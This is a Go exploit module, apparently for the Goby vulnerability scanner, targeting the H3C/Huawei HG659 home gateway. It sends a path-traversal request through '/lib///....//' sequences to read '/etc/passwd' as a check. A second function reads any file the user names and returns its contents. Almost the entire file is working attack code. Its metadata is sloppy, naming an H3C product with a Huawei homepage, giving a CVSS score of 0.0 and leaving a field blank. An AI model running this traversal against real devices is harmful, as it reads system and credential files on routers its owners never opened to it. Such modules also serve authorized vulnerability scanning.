package exploits import ( "fmt" "git.gobies.org/goby/goscanner/goutils" "git.gobies.org/goby/goscanner/jsonvul" "git.gobies.org/goby/goscanner/scanconfig" "git.gobies.org/goby/httpclient" "strings" "regexp" ) func init() { expJson := `{ "Name": "H3C HG659 lib File Read", "Description": "H3C HG659 is any file read, can read any file server", "Product": "H3C HG659", "Homepage": "https://www.huawei.com/", "DisclosureDate": "2021-06-15", "Author": "PeiQi", "GobyQuery": "app=\"HuaWei-Home-Gateway\"", "Level": "2", "Impact": "

File read

", "Recommendation": "Update", "References": [ "http://wiki.peiqi.tech" ], "HasExp": true, "ExpParams": [ { "name": "File", "type": "input", "value": "/etc/passwd" } ], "ScanSteps": [ "AND" ], "ExploitSteps": null, "Tags": [ "File read" ], "CVEIDs": null, "CVSSScore": "0.0", "AttackSurfaces": { "Application": [ "H3C HG659" ], "Support": null, "Service": null, "System": null, "Hardware": null }, "Recommandation": "

undefined

" }` ExpManager.AddExploit(NewExploit( goutils.GetFileName(), expJson, func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { uri := "/lib///....//....//....//....//....//....//....//....//etc//passwd" cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "root:") } return false }, func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { file := ss.Params["File"].(string) file = strings.Replace(file, "/", "//", -1) uri := "/lib///....//....//....//....//....//....//....//...." + file cfg := httpclient.NewGetRequestConfig(uri) cfg.VerifyTls = false cfg.FollowRedirect = false cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { if resp.StatusCode == 200 { expResult.Output = resp.RawBody expResult.Success = true } } return expResult }, )) }